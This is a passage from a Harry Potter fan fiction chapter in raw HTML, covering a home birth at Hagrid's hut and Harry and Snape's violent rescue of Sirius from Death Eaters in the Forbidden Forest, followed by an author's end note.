personally,&#8221; she said racking her brains.</p>\n\n<p>&#8220;How about an older version of Pierce Brosnan with a moustache?&nbsp; Or maybe Timothy Dalton?&#8221; </p>\n\n<p>&#8220;Ohhh,&#8221; she said dreamily.&nbsp; &#8220;I hadn&#8217;t thought of them.&nbsp; Mmm.&#8221;</p>\n\n<p>Harry hoped that thinking of those two actors might distract Hermione&#8217;s mind.&nbsp; He knew that his Aunt Petunia got the vapours with both Brosnan and Dalton and hoped that it might have the same effect on Hermione.&nbsp; He glanced at the faraway look in her eyes and thought that it might just have done the trick.</p>\n\n<p>&#8220;Here are your meals,&#8221; Dobby said as he handed them four bags worth of food.&nbsp; </p>\n\n<p>&#8220;Thank you Dobby,&#8221; Harry said.</p>\n\n<p>&#8220;Anytime,&#8221; the house-elf cheerfully replied, &#8220;and Miss Hermione, we are waiting for your orders.&#8221;</p>\n\n<p>&#8220;We can&#8217;t move forward until Harry&#8217;s legal troubles are over.&nbsp; After that&#8217;s done we shall begin,&#8221; she said smiling broadly.</p>\n\n<p>&#8220;I haven&#8217;t asked you about your house-elf project in awhile.&nbsp; How is it going?&#8221; Harry asked.</p>\n\n<p>Hermione paused before they left the kitchens and smiled at him.&nbsp; &#8220;I finished their training about two months ago.&nbsp; Which was good because I needed to use that time on your legal defence.&nbsp; They are ready for the coming revolution.&nbsp; We just have to worry about the timing.&nbsp; I had originally wanted to do it on Juneteenth, but we had to postpone it because your verbal defence is on June 24<sup>th</sup>.&nbsp; I didn&#8217;t want to start anything that might harm your situation with the Board of Governors.&#8221;</p>\n\n<p>&#8220;What&#8217;s Juneteenth?&#8221; Harry asked.</p>\n\n<p>&#8220;Oh, that&#8217;s the day that Blacks in the States celebrate the anniversary of the Emancipation Proclamation.&nbsp; The news spread by word of mouth and there wasn&#8217;t any particular day that the slaves found out about it, so June 19<sup>th</sup> was chosen to celebrate as Juneteeth a day of liberation,&#8221; explained Hermione.&nbsp; &#8220;I just thought it would be a good symbolic day to use.&nbsp; Now, I&#8217;m leaning towards the Fourth of July to coincide with the start of the American Revolutionary War.&nbsp; I also took a page out of Elizabeth Cady Stanton&#8217;s book,&#8221; Hermione said smiling.</p>\n\n<p>&#8220;Who&#8217;s she?&#8221;</p>\n\n<p>&#8220;She&#8217;s one of the many important women in history that have been either lost or forgotten.&nbsp; She was an American woman and came with her husband on their honeymoon to London in 1840 to attend a world convention on the abolition of slavery.&nbsp; They were horrified to find that women were not allowed to participate and forced to sit separately in a balcony.&nbsp; She and Lucretia Mott vowed that they would do something about injustices towards women.&nbsp; Eight years later they organized the first convention ever held on women&#8217;s rights in Seneca Falls, New York.&nbsp; Cady Stanton took Thomas Jefferson&#8217;s text of the Declaration of Independence and altered the wording slightly to list the transgressions men had made against womankind.&nbsp; She called it the &#8216;Declaration of Sentiments.&#8217;&nbsp; So I did the same thing in regards to the transgressions the Wizarding World has committed against the house-elves and came up with the &#8216;Declaration of Liberation.&#8217;&nbsp; I&#8217;ll be sending a copy to <i>The Daily Prophet</i> on July 4<sup>th.&#8221;</sup></p>\n\n<p>&#8220;It&#8217;s really going to happen isn&#8217;t it?&#8221; Harry asked.</p>\n\n<p>&#8220;Yep, the Wizarding World will never be the same,&#8221; she said grinning as she pushed open the door to leave the kitchens.</p>\n\n<p>&#8220;How do you know so much about American History?&#8221; Harry asked.&nbsp; &#8220;I don&#8217;t even know that much about British History.&#8221;</p>\n\n<p>&#8220;I started reading up on the abolitionist and women&#8217;s suffrage movement in the States last summer before we went travelling.&nbsp; I wanted to learn from the lessons of the past,&#8221; she answered.</p>\n\n<p>Harry marvelled at her dedication.&nbsp; This was more than just memorizing notes or studying for an exam.&nbsp; She had a sense of knowing how to tackle thorny problems or where to look for answers.&nbsp; She wasn&#8217;t just clever, she was brilliant.</p>\n\n<p>After they returned to Hagrid&#8217;s hut they took turns eating and tending to Professor Figg.&nbsp; Several hours later the midwife announced that she was almost fully dilated and that the baby would be here soon.&nbsp; Professor Figg&#8217;s hair was plastered to her head and her entire body was drenched with sweat.</p>\n\n<p>&#8220;Arabella, it is time to go onto the birthing chair and I think you should dispense with modesty.&nbsp; Women naturally birth in the nude.&nbsp; It&#8217;s more comfortable,&#8221; Rebecca stated firmly.&nbsp; &#8220;And if you don&#8217;t feel comfortable being naked while birthing in front of these people, you shouldn&#8217;t have invited them to be here.&#8221;</p>\n\n<p>Professor Figg looked up at her, placed a hand about her neck and shook her head weakly.&nbsp; Rebecca looked at her with exasperation. </p>\n\n<p>Harry was thankful for that.&nbsp;&nbsp; He hadn&#8217;t wanted to see Professor Figg in the nude.&nbsp; Seeing her in the thin nightgown was revealing enough.&nbsp; He could see the breasts that Ron and the other boys had lusted over were now huge and resting heavily on her extended abdomen.&nbsp; Harry was reminded of the Venus of Willendorf that Hermione had gone on about a few months earlier.&nbsp; She had claimed that the small little figurine of a large figured female had been revered as a symbol of the Great Mother.&nbsp; All he saw when he looked at it was an abstract image of a really fat woman.&nbsp; As he looked at Professor Figg he was in awe of the sheer power emanating from her body.&nbsp; He could now imagine that people had worshipped birthing mothers.&nbsp; </p>\n\n<p>&nbsp;&#8220;Harry, help me move Arabella onto the birthing chair,&#8221; Sirius called.</p>\n\n<p>They each put an arm behind her back and helped to lift her out of the bed.&nbsp; She was lowered onto the chair that Hagrid had brought.&nbsp; The midwife reached down and placed a large basin directly under the hole in the seat.</p>\n\n<p>&#8220;What&#8217;s that for?&#8221; asked Harry.</p>\n\n<p>&#8220;To catch blood,&#8221; Rebecca answered,&nbsp; &#8220;birthing can be a messy process.&#8221;</p>\n\n<p>&#8220;Is that where the baby will go?&#8221; he asked.</p>\n\n<p>&#8220;No,&#8221; she laughed.&nbsp; &#8220;Someone will catch the baby.&#8221;&nbsp; She then turned to Sirius, &#8220;Joseph, would you like to catch your baby?&#8221;</p>\n\n<p>His eyes grew wide, &#8220;Yes.&#8221;</p>\n\n<p>&#8220;Okay, let&#8217;s see how she is doing,&#8221; Rebecca said as she knelt down and examined her patient.&nbsp; &#8220;It&#8217;s almost time.&nbsp; Hermione, please hand me the bottle of oil and those warm compresses over there.&#8221;</p>\n\n<p>Hermione retrieved the items that had been set out on a nearby table and gave them to the midwife.&nbsp; Rebecca took the bottle of oil and poured it over the warm damp cloth and then placed it between the legs of her patient.</p>\n\n<p>&#8220;This is to help relax your perineum so that it will stretch.&nbsp; I never cut women if I can help it,&#8221; Rebecca said.&nbsp; &#8220;If you feel the need to bear down, then go ahead and push.&#8221;</p>\n\n<p>Professor Figg seemed to be gathering strength.&nbsp; Her face contorted into a grimacing scowl that looked like a gorgon&#8217;s head and she gave a loud grunt as she pushed.</p>\n\n<p>&#8220;Yes, I can feel the crowning,&#8221; Rebecca said warmly, &#8220;Joseph come here.&#8221;</p>\n\n<p>Sirius knelt beside the chair with his hands extended.</p>\n\n<p>&#8220;And push!&#8221; Rebecca directed.</p>\n\n<p>Professor Figg gripped the arms of the chair and gave another loud push.&nbsp; As she leaned forward her amulet swung out of the top of her nightgown.&nbsp; Harry looked up at Hermione.&nbsp; She was staring at the amulet hanging around Professor Figg&#8217;s neck.&nbsp; She absentmindedly touched her locket and then met Harry&#8217;s gaze.&nbsp; He knew the unspoken question that was in her eyes and shook his head slightly.</p>\n\n<p>&#8220;The head is coming, it&#8217;s almost out&#8230;and PUSH!&#8221;</p>\n\n<p>Grrrrrrr.</p>\n\n<p>Harry watched in amazement to see a baby&#8217;s head emerge that was covered with thick black hair.&nbsp; Then came the shoulders.</p>\n\n<p>&#8220;Another push should do it.&#8221;</p>\n\n<p>Grrrrrr.</p>\n\n<p>And then came the baby&#8217;s torso, then the legs and finally a long umbilical cord.&nbsp; Sirius had tears in his eyes as he cradled the small babe in his hands.&nbsp; He then carefully brought the baby up to his lover&#8217;s chest.</p>\n\n<p>&#8220;Hello there little one,&#8221; she said gazing into her child&#8217;s open eyes.</p>\n\n<p>Sirius quickly moved to embrace Professor Figg from behind.&nbsp; </p>\n\n<p>&#8220;I love you,&#8221; he said kissing the top of her head.</p>\n\n<p>Harry noticed that the umbilical cord was still pulsating.&nbsp; The two parents gazed at their child for nearly ten minutes in wonderment.&nbsp; Then Rebecca instructed Professor Figg to give another push.&nbsp; Out came the placenta.</p>\n\n<p>&#8220;Good.&nbsp; Everything looks intact,&#8221; Rebecca announced.&nbsp; </p>\n\n<p>&#8220;I can&#8217;t stand it any longer,&#8221; said Hermione.&nbsp; &#8220;Is it a boy or girl?&#8221;</p>\n\n<p>&#8220;Oh, that!&#8221; Professor Figg said absentmindedly as she looked between the baby&#8217;s legs, &#8220;She&#8217;s a girl.&#8221;</p>\n\n<p>&#8220;She&#8217;s beautiful,&#8221; said Sirius, &#8220;just like her mother.&#8221;</p>\n\n<p>Harry was looking at the small child and saw the beautiful blue eyes that were open wide and staring at everyone.&nbsp; </p>\n\n<p>&#8220;Her fingers are so small,&#8221; he said with a voice filled with amazement.&nbsp; &#8220;And look at her little fingernails.&#8221;</p>\n\n<p>Rebecca reached into her satchel and removed two clamps and placed them close together on the cord near the baby.&nbsp; She turned again to Sirius, &#8220;Would you like to cut the cord?&#8221;</p>\n\n<p>He nodded in reply.</p>\n\n<p>Harry fished into his pocket and removed the pocket-knife that Sirius had given him as a Christmas present.&nbsp; He handed it to his godfather.</p>\n\n<p>&#8220;Use this,&#8221; Harry said.</p>\n\n<p>Sirius smiled as he recognized the knife, &#8220;Thanks Harry.&#8221;</p>\n\n<p>He cut the cord and Rebecca took the afterbirth and placed it into a bag.&nbsp; Professor Figg slowly stood and walked with great effort back to the bed.</p>\n\n<p>&#8220;It&#8217;s time I try feeding you, little one,&#8221; she said as she placed the baby to a breast.&nbsp; Sirius climbed into the bed and his lover leaned back resting in his arms.</p>\n\n<p>&#8220;Have you thought of a name for her?&#8221; asked Hermione.</p>\n\n<p>&#8220;Yes.&nbsp; I was hoping for a daughter because I had the perfect name,&#8221; Professor Figg replied.&nbsp; &#8220;I heard about the most incredible woman named Soraya Mire.&nbsp; (Sore-RYE-ahh Mere-RAY)&nbsp; She&#8217;s a Somali filmmaker and is a crusader against the practice of female circumcision.&nbsp; She&#8217;s very brave and very beautiful.&nbsp; I&#8217;d like to name our daughter Soraya.&nbsp; The name means shining star.&nbsp; The <i>brightest</i> shining star.&#8221;</p>\n\n<p>Sirius looked at her and his eyes were wet with tears.&nbsp; &#8220;That&#8217;s perfect,&#8221; he croaked.</p>\n\n<p>Harry knew that Sirius was touched that she had found a way to honour his own heritage without being obvious.</p>\n\n<p>&#8220;Arabella, did you have any plans for your placenta?&#8221; Rebecca asked.</p>\n\n<p>&#8220;Yes, Hagrid has an apple tree ready to plant,&#8221; Professor Figg replied.&nbsp; &#8220;I&#8217;m sure that Soraya would love to know when she comes to school here that a tree was planted on the day she was born.&nbsp; Harry, can you take the placenta and go find Hagrid?&nbsp; Classes should be over by now.&#8221;</p>\n\n<p>He nodded and took the large bag that held the afterbirth.&nbsp; As he opened the door he saw that Hagrid had been patiently sitting outside and whittling.</p>\n\n<p>&#8220;So, is it a boy or a girl?&#8221; Hagrid asked.</p>\n\n<p>&#8220;It&#8217;s a girl,&#8221; Harry announced proudly.&nbsp; &#8220;A beautiful baby girl.&nbsp; They named her Soraya.&#8221;</p>\n\n<p>&#8220;That&#8217;s an unusual name,&#8221; Hagrid said.</p>\n\n<p>&#8220;Not as unusual as some of the names I&#8217;ve heard since I found out I was a wizard,&#8221; Harry replied.&nbsp; &#8220;We&#8217;re supposed to take this and plant a tree.&#8221;</p>\n\n<p>&#8220;Yes, Arabella had that all figgered out,&#8221; Hagrid said as he stood.&nbsp; &#8220;Come on, it&#8217;s over this way.&#8221;</p>\n\n<p>They walked over to a grove of fruit trees that was near Hagrid&#8217;s hut.&nbsp; After they dug a hole and planted the apple tree, Harry realized that he was getting really hungry.&nbsp; His stomach was growling.&nbsp; It had been hours since they had eaten and now he was famished.&nbsp; In the last year, he had noticed that his appetite for food had grown dramatically.&nbsp; He could put away nearly twice as much food had he had the previous year and still not gain any real weight.&nbsp; As he returned inside the cabin, Harry saw that Professor Figg had gotten dressed and looked relaxed and at peace.&nbsp; Hagrid went over and started to coo at the little baby.</p>\n\n<p>&#8220;We should think about what you&#8217;d like to eat.&nbsp; New mothers tend to feast after giving birth,&#8221; Rebecca said.&nbsp; &#8220;After all, you should have worked up an appetite with all that work you did today.&#8221;</p>\n\n<p>&#8220;Yes, I could eat a horse,&#8221; Professor Figg agreed.&nbsp; &#8220;I think I&#8217;d like roast beef, mashed potatoes, lots of gravy, a salad, apple pie with vanilla ice cream&#8230;&#8221;</p>\n\n<p>&#8220;Hermione, why don&#8217;t you and Harry bring some of that back for everyone to share?&#8221; Rebecca asked.</p>\n\n<p>&#8220;Sure,&#8221; she said nodding.</p>\n\n<p>A small tinny noise started coming from Sirius&#8217;s shirt pocket.&nbsp; He withdrew a parchment and looked at it with a look of dread in his eyes.&nbsp; Sirius and Professor Figg exchanged a worried look.</p>\n\n<p>&#8220;I&#8217;m sorry Arabella, I have to leave,&#8221; he said as he gave her a kiss.&nbsp; Then he leaned down and kissed Soraya on the forehead.&nbsp; &#8220;I&#8217;ll try to come and visit tomorrow.&#8221;</p>\n\n<p>Sirius said goodbye to everyone and left the house quickly.&nbsp; Harry started getting a sick feeling in the pit of his stomach.&nbsp; He was afraid that there was another attack back at Privet Drive.&nbsp; He looked at Professor Figg and knew from the look in her face that his fears were justified.</p>\n\n<p>&#8220;Come on Harry, let&#8217;s go to the kitchens,&#8221; Hermione urged.</p>\n\n<p>He nodded and they started walking across the lawn.&nbsp; They had gotten halfway to the castle when he started to feel a burning sensation on his chest.&nbsp; His amulet was heating up.</p>\n\n<p>Harry stopped dead in his tracks.&nbsp; He scrambled to recall what Professor Figg had said last summer about the amulets.&nbsp; He remembered something about them being linked in spirit to a few others and that if someone was in mortal peril that they could activate it and the others would heat up.&nbsp; As the stone started to burn his skin he began running back to Hagrid&#8217;s hut.</p>\n\n<p>&#8220;Harry?&nbsp; Where are you going?&#8221; Hermione called after him.</p>\n\n<p>He didn&#8217;t answer.&nbsp; Harry ran as fast as he could to the hut and wrenched open the door.&nbsp; He looked at Professor Figg&#8217;s distraught face and knew that his worst fears were realized.&nbsp; It had to be Sirius.</p>\n\n<p>Hermione followed him and came panting into the hut, &#8220;Harry what&#8217;s going on?&#8221;</p>\n\n<p>Professor Figg was holding the amulet in her hand, &#8220;Touch it Harry, then close your eyes and listen carefully.&#8221;</p>\n\n<p>As Harry held the amulet in his hands, he found that it no longer burned, but was still uncomfortably warm.&nbsp; He could also see through Sirius&#8217;s eyes.&nbsp; Sirius had been immobilized and was being taken forcibly off the path to Hogsmeade and was being brought into the Forbidden Forest by Pettigrew, Bode, Croaker and Macnair.&nbsp; </p>\n\n<p>Then Harry heard the voice of Dumbledore, &#8220;Remus, Fletcher, you must both remain at the Zone and provide security there.&nbsp; Harry, go get your broomstick and Invisibility Cloak and meet Professor Snape at the gate leading to Hogsmeade.&nbsp;&nbsp; Under no circumstances are you to attempt to rescue Sirius by yourself.&nbsp; Severus, you and Harry will fly about the forest doing reconnaissance until you come up with a plan of attack.&nbsp; There may be more Death Eaters lying in wait or that might join them soon.&nbsp; Be certain before you act.&nbsp; And Harry, know that <i>this is</i> a trap.&nbsp; Their intention is to see all three of you dead.&nbsp; Make no bargains or trades with them, because it would be meaningless.&#8221;</p>\n\n<p>Harry opened his eyes and looked at Professor Figg who was feeding her daughter.</p>\n\n<p>&#8220;Do what you can to bring him back to me,&#8221; she said solemnly.&nbsp; &#8220;But don&#8217;t take any unnecessary risks.&nbsp; Your life is more important than his in the grand scheme of things.&#8221;</p>\n\n<p>Harry nodded and then ran for Gryffindor Tower to retrieve his broomstick and Invisibility Cloak.&nbsp; It was times like this that he wished he didn&#8217;t always lock his trunk.&nbsp; He would have rather tried a summoning charm to get those items to fly to him through the warm Spring air.&nbsp; </p>\n\n<p>He ran pell-mell through the castle until he reached the portrait of the Fat Lady.&nbsp; Lavender and Parvati had just given the password and were about to climb through the portrait hole when Harry barged in front of them knocking books out of their hands.</p>\n\n<p>&#8220;Sorry,&#8221; he called after himself.</p>\n\n<p>Harry dashed through the common room and ran up the stairs three at a time.&nbsp; He quickly unlocked his trunk, threw open the lid and grabbed his Invisibility Cloak and Firebolt.&nbsp; He was just about to leave when he saw Ron with his arms crossed and blocking the doorway.</p>\n\n<p>&#8220;Where have you been Harry?&#8221; he demanded.</p>\n\n<p>&#8220;I can&#8217;t talk now Ron,&#8221; Harry said as he tried to get around him.&nbsp; &#8220;<i>I gotta go</i>.&#8221;</p>\n\n<p>&#8220;Go where?&#8221;</p>\n\n<p>&#8220;Ron if you don&#8217;t move I&#8217;m going to hex you.&nbsp; I&#8217;ll tell you later, but <i>I have to go now.&#8221;</i></p>\n\n<p>&#8220;Harry, remember the vision I had?&nbsp; It&#8217;s coming true, right now,&#8221; Ron said warningly.&nbsp; &#8220;Let me help you.&#8221;</p>\n\n<p>&#8220;You can&#8217;t.&nbsp; Now, MOVE.&#8221; Harry said.</p>\n\n<p>Ron remained steadfast in the doorway and Harry wound up pushing him to the side.&nbsp; He ran down the stairs, across the common room and out the portrait hole.&nbsp;&nbsp; He ran through the castle and as soon as he was outside he mounted his broom and flew to the gates to Hogsmeade.&nbsp; Snape was waiting there for him. </p>\n\n<p>&#8220;Okay, now what?&#8221; asked Harry.</p>\n\n<p>&#8220;We need to find where Black is being held and figure out a way to get him loose,&#8221; Snape said.&nbsp; &#8220;Albus suggested that we fly and use your Invisibility Cloak to help give us the element of surprise.&nbsp; Since you&#8217;re familiar with your broomstick, I suggest that you fly and I&#8217;ll hold onto you and the Cloak.&#8221;</p>\n\n<p>Harry swallowed hard.&nbsp; He was going to be flying with Snape on his back.&nbsp; He had never flown with anyone on his broomstick before, but he never envisioned having his least favourite teacher being his first passenger.</p>\n\n<p>Harry moved up further on the broomstick and Snape swung one leg over the handle.&nbsp; Snape took the Invisibility Cloak and threw it over their heads.&nbsp; He held it with one hand and had another arm firmly around Harry&#8217;s waist.</p>\n\n<p>&#8220;All right, Potter.&nbsp; Let&#8217;s see how well you can fly this thing,&#8221; Snape said.</p>\n\n<p>Harry kicked off the ground hard and found that it was more difficult to fly with the added weight, but it still was far better than the old school brooms that were used for flying lessons.</p>\n\n<p>As they were flying over the forest Harry watched the sun&#8217;s rays getting longer.&nbsp; Instinctively he was heading in a north-easterly direction.&nbsp; He was being drawn to something.</p>\n\n<p>&#8220;Potter, you must realize that they will want to take you prisoner.&nbsp; That he&#8217;ll want to kill you himself.&nbsp; Same with me, but I&#8217;ll be tortured slowly.&nbsp; Black they&#8217;ll just kill outright. That is once they&#8217;ve gotten hold of you.&#8221;</p>\n\n<p>&#8220;So what do we do?&#8221; Harry asked.</p>\n\n<p>&#8220;We find where they are and we figure out a plan.&nbsp; So far we know we will be facing four enemies.&nbsp; Two against one.&nbsp; We can overcome that, but I&#8217;m hoping it won&#8217;t be more.&nbsp; They won&#8217;t know about the amulets, so they&#8217;ll be setting their trap now.&nbsp; They have Black as bait and will be sending a message to you in order to lure you to save him.&nbsp; If you see a messenger owl coming towards you, we must destroy it.&nbsp; We cannot allow it to return to them.&#8221;</p>\n\n<p>Killing owls.&nbsp; Harry never thought he&#8217;d kill an owl, but he understood that if an owl found him while they were flying above the forest it would return immediately to Wormtail.&nbsp; This would give them notice that Harry was nearby.</p>\n\n<p>&#8220;We also cannot kill them,&#8221; Snape continued.</p>\n\n<p>&#8220;I thought you just said we&#8217;d have to destroy an owl,&#8221; Harry said perplexed.</p>\n\n<p>&#8220;I meant our enemies.&nbsp; We cannot kill them.&nbsp; We&#8217;d be put in Azkaban for that.&nbsp; We have to subdue them and bring them back.&nbsp; Do you know how cast the Stupefy hex?&#8221; Snape asked.</p>\n\n<p>&#8220;I used it once during the third task last year,&#8221; Harry said.&nbsp; &#8220;That was when Krum was under the Imperius curse and was casting the Cruciatus curse on Cedric.&nbsp; I knocked Krum out, but when I tried using the Stupefy hex on an Acromantula it didn&#8217;t work.&#8221;&nbsp; </p>\n\n<p>&#8220;I wouldn&#8217;t use it then,&#8221; Snape answered.&nbsp; &#8220;Use only what you know.&nbsp; Use only what you&#8217;re good at.&nbsp; Don&#8217;t try anything new or something you&#8217;re not confident in, because if it doesn&#8217;t work you could die.&#8221;</p>\n\n<p>The amulet started warming up again and Harry decided to hover for a moment.&nbsp; He took one hand off the broomstick and held the amulet and closed his eyes.&nbsp; He could now hear Pettigrew&#8217;s voice.</p>\n\n<p>&#8220;Padfoot, my old friend.&nbsp; How different you look from the last time we talked.&nbsp; You had looked thin, dirty and bedraggled.&nbsp; Now you&#8217;re fit, handsome and dare I say it, <i>older.</i>&nbsp; My, my, my, if I hadn&#8217;t seen your form last Christmas with Moony, I don&#8217;t know that I would have recognized you today.&nbsp; Ahhh, but we were tipped off that something strange was happening at school today.&nbsp; Arabella Figg not teaching her classes and the famous Harry Potter cutting classes as well.&nbsp; I was hoping that somehow it would involve you, because I know we&#8217;ll be able to get that cursed brat to come try and rescue your miserable hide.&#8221;</p>\n\n<p>Wormtail was walking past a cage that held Sirius inside bound and gagged.&nbsp; There were also two smaller empty cages that looked like they were for owls.</p>\n\n<p>&#8220;Yes, I am enjoying having you as a prisoner.&nbsp; Did you ever realize that I resented you at school?&nbsp; You were the darling of everyone.&nbsp; Brave, handsome, smart and athletic.&nbsp; Every girl wanted you and you knew it.&nbsp; No one wanted poor Peter.&nbsp; You didn&#8217;t even want to include me in the Marauders gang.&nbsp; James had to talk you into it, because he said it wouldn&#8217;t be fair to leave me isolated and alone.&nbsp; Did you think I didn&#8217;t know about that?&nbsp; You would have shunned me if it wasn&#8217;t for James&#8230;I know that look in your eyes, Padfoot, but I had no choice in the matter.&nbsp; The Master wanted to see them dead.&nbsp; I could not disobey a direct order from him.&nbsp; And tonight I shall be rewarded for bringing that dratted boy back to him.&nbsp; He&#8217;s decided that he won&#8217;t use magic this time to kill him.&nbsp; A simple beheading will suffice.&nbsp; Of course, <i>you </i>won&#8217;t live long enough to see it.&nbsp; And if we&#8217;re lucky maybe Moony will also come to join in the festivities.&nbsp; I have something special planned just for him.&#8221;</p>\n\n<p>Wormtail looked fondly at his silver hand and then flexed his fingers menacingly.</p>\n\n<p>Harry dropped his amulet and took a deep breath.&nbsp; He thought of how he had predicted his own death by decapitation the year before in Divination class and he shuddered.</p>\n\n<p>&#8220;Potter, what did you hear?&#8221; asked Snape.</p>\n\n<p>&#8220;Pettigrew was talking to Sirius.&nbsp; They plan on taking me back to Voldemort and chopping my head off.&nbsp; Once they have me, they&#8217;re going to kill Sirius.&#8221;</p>\n\n<p>They began flying again over the forest and as Harry looked down he knew they passed the lair of the Acromantulas.&nbsp; He was hoping he would never have to see them again.&nbsp; He also saw some of the centaurs and wished somehow that they might intervene on his behalf.&nbsp; An eagle owl flying parallel to him was holding a message in its claws.&nbsp; Snape pointed his wand and called out <i>&#8220;Obliviate!&#8221;</i></p>\n\n<p>The spell hit the large bird directly in the head.&nbsp; The owl dropped the letter and cocked its head.&nbsp; It then began looking down on the floor of the forest for prey.</p>\n\n<p>&#8220;Good,&#8221; Snape said, &#8220;they won&#8217;t know we&#8217;re already on our way.&#8221;</p>\n\n<p>&#8220;I thought you were going to kill the owl,&#8221; Harry said.</p>\n\n<p>&#8220;I changed my mind.&nbsp; I decided we didn&#8217;t need to kill the messenger.&nbsp; That owl will never return to its master.&nbsp; It&#8217;s now a free bird that will never be useful for wizards again,&#8221; Snape said.&nbsp; &#8220;Potter, do you have any idea of what you plan on doing when we get there?&#8221;</p>\n\n<p>&#8220;Not really.&nbsp; I know the disarming charm and quite a few hexes.&nbsp; I&#8217;ll do my best to incapacitate them and you can then disable them.&#8221;</p>\n\n<p>&#8220;We will have to split up,&#8221; Snape said.&nbsp; &#8220;They&#8217;ll be expecting you, but they won&#8217;t know about me.&nbsp; I suggest that we keep that element of surprise by letting me use the Invisibility Cloak after we separate.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Harry said quietly.</p>\n\n<p>They were now coming to a small clearing in the treetops.&nbsp; Harry could see Sirius being held in the cage far below them.&nbsp; He flew around the area and found where Bode, Croaker and Macnair were hiding behind trees and large stones.&nbsp; They all had their wands extended waiting for something to happen.</p>\n\n<p>&#8220;Where&#8217;s the fourth one?&#8221; Snape asked.</p>\n\n<p>Harry was scanning around for Pettigrew and didn&#8217;t see him anywhere.&nbsp; He then saw a glint of reflected light from the setting sun.&nbsp; The light was coming from a neighbouring tree.&nbsp; As he squinted he saw that it was from the silvery paw of a rat perched on a large branch.&nbsp;&nbsp; Wormtail was standing on his hind legs and sniffing the air.</p>\n\n<p>Harry felt an ice cold rage wash over him.&nbsp; He wanted to take out that rat once and for all.</p>\n\n<p>&#8220;I see the fourth man.&nbsp; He transformed into a rat.&nbsp; I&#8217;ll take care of him,&#8221; Harry whispered.</p>\n\n<p>&#8220;Do you have a plan?&#8221; Snape asked.</p>\n\n<p>&#8220;Yeah, I know exactly what I want to do.&#8221; </p>\n\n<p>Harry landed his broomstick silently near the base of the tree.&nbsp; He quickly transformed into his Animagus form and crawled up the trunk.&nbsp; He climbed up higher in the tree than where Wormtail was stationed.&nbsp; Harry dropped down from a higher branch and slowly advanced behind his prey and hissed an incantation.&nbsp; The rat turned around just in time to see the enormous jaws of the snake become unhinged and devour him whole.&nbsp; The lump was slowly migrating its way down the throat of the snake.&nbsp; Harry was actively willing it to move further down his body until it was in his stomach.&nbsp; He didn&#8217;t want to transform back into his human form and have a rat lodged in his esophagus. </p>\n\n<p>After fully swallowing the rat into his stomach, Harry crawled down the trunk of the tree and snuck behind a tree in direct line with Bode.&nbsp; He transformed back into his human form and he was thankful that he didn&#8217;t experience any pain except for a strange sensation in his stomach.</p>\n\n<p>Snape had been flying unseen overhead and roared, &#8220;Stupefy!&#8221; </p>\n\n<p>Croaker keeled over hitting the floor of the forest with a loud thud.&nbsp; Macnair and Bode started hurling hexes in the direction of where they heard Snape&#8217;s voice.</p>\n\n<p>Harry looked at the floor of the forest and saw that it was covered in pine needles.&nbsp; He waved his wand and transformed the pine needles into sewing needles and then did a banishing charm to send them flying into Bode&#8217;s face and eyes.&nbsp; Bode gave a bloodcurdling scream as the needles pierced his eyes and blood cascaded down his face.&nbsp; Harry waved his wand again to return the objects to their original form.&nbsp; This caused the man to scream further as dirt and mold stung the open wounds.&nbsp; Bode fell to his knees with his hands desperately clawing at his eyes.</p>\n\n<p>Harry turned as he heard the sound of heavy wings beating.&nbsp; He flattened himself against the tree and saw Buckbeak flying towards the clearing.&nbsp; Macnair stood there frozen with fear.&nbsp;&nbsp; As Buckbeak hit the ground it pounded its powerful back legs and charged Macnair.&nbsp; A high-pitched screech cut through the air and sent chills up and down Harry&#8217;s spine.&nbsp; Macnair raised his wand against Buckbeak just as the hippogriff descended upon him.&nbsp; Another human scream was heard as Harry heard the sickening sound of bones crushing.&nbsp; Buckbeak then turned around and drew its back leg up to deliver a deathblow to the skull of the fallen man.</p>\n\n<p>&#8220;STOP!&#8221; yelled Harry.</p>\n\n<p>The hippogriff held its leg in the air and blinked one orange eye at him.</p>\n\n<p>&#8220;Don&#8217;t kill him, please Buckbeak,&#8221; Harry pleaded.</p>\n\n<p>His pleas were listened to as the majestic creature slowly lowered its leg and walked away from the bloodied man lying on the floor of the forest.&nbsp; Snape had taken off the Invisibility Cloak and had disarmed all three of the men and retrieved Sirius&#8217;s wand.&nbsp; He conjured ropes around Bode and Croaker and handcuffs for Macnair.&nbsp; Stretchers were conjured next to carry all the prisoners back to the castle.</p>\n\n<p>Harry went over to the cage, used an unlocking charm to open it and untied his godfather.&nbsp; Sirius was breathing heavily.&nbsp; Buckbeak then came over to Sirius&#8217;s side to be petted.</p>\n\n<p>&#8220;Thanks pal,&#8221; he said as he stroked its feathers.&nbsp; </p>\n\n<p>Sirius turned to his godson, &#8220;What happened with Pettigrew?&#8221;</p>\n\n<p>&#8220;I took care of him,&#8221; Harry said ominously.&nbsp; &#8220;He won&#8217;t hurt anyone else ever again.&#8221;</p>\n\n<p>&#8220;Thank you Harry,&#8221; Sirius then swallowed hard,&nbsp; &#8220;And thank you Severus.&#8221;</p>\n\n<p>Snape nodded curtly, &#8220;We need to get them back to Hogwarts.&nbsp; Especially Macnair.&nbsp; Pomfrey&#8217;s going to have to look at him immediately.&nbsp; And Bode might never see again.&#8221;</p>\n\n<p>&#8220;I didn&#8217;t kill him,&#8221; Harry stated.&nbsp; &#8220;I just incapacitated him, like I said I would.&#8221;</p>\n\n<p>&#8220;That&#8217;s an understatement,&#8221; Snape replied.&nbsp; &#8220;But what about Pettigrew?&#8221;</p>\n\n<p>&#8220;You can&#8217;t kill someone that&#8217;s already been declared dead,&#8221; Harry said flatly.</p>\n\n<p>&#8220;Come on Black, here&#8217;s your wand,&#8221; Snape said throwing it to him.&nbsp; &#8220;Help me take them back.&#8221;</p>\n\n<p>The threesome levitated the prisoners through the darkened forest until they finally arrived back at Hogwarts.&nbsp; Buckbeak cantered alongside of them leading the way.&nbsp; Harry was expecting when they arrived that they would simply take Macnair and Bode to the hospital wing while Croaker would go to Dumbledore&#8217;s office.&nbsp; He thought that Dumbledore would be the one to decide what next to do.&nbsp; He did not expect to see the school grounds swarming with officials from the Ministry of Magic.&nbsp; </p>\n\n<p>&#8220;There they are,&#8221; Fudge announced with his eyes glittering malevolently.&nbsp; &#8220;Arrest them.&#8221;</p>\n\n<p>Officers from the Magical Law Enforcement Squad stepped forward and placed handcuffs on Harry, Snape and Sirius.</p>\n\n<p>**</p>\n\n<p>End notes:&nbsp; In case anyone wondered, this chapter was based largely on my own childbirth experience.&nbsp; Ama wanted me to make Arabella&#8217;s delivery easier by using magic to help ease the baby out.&nbsp; Nope, that was not something I wanted to do.&nbsp; 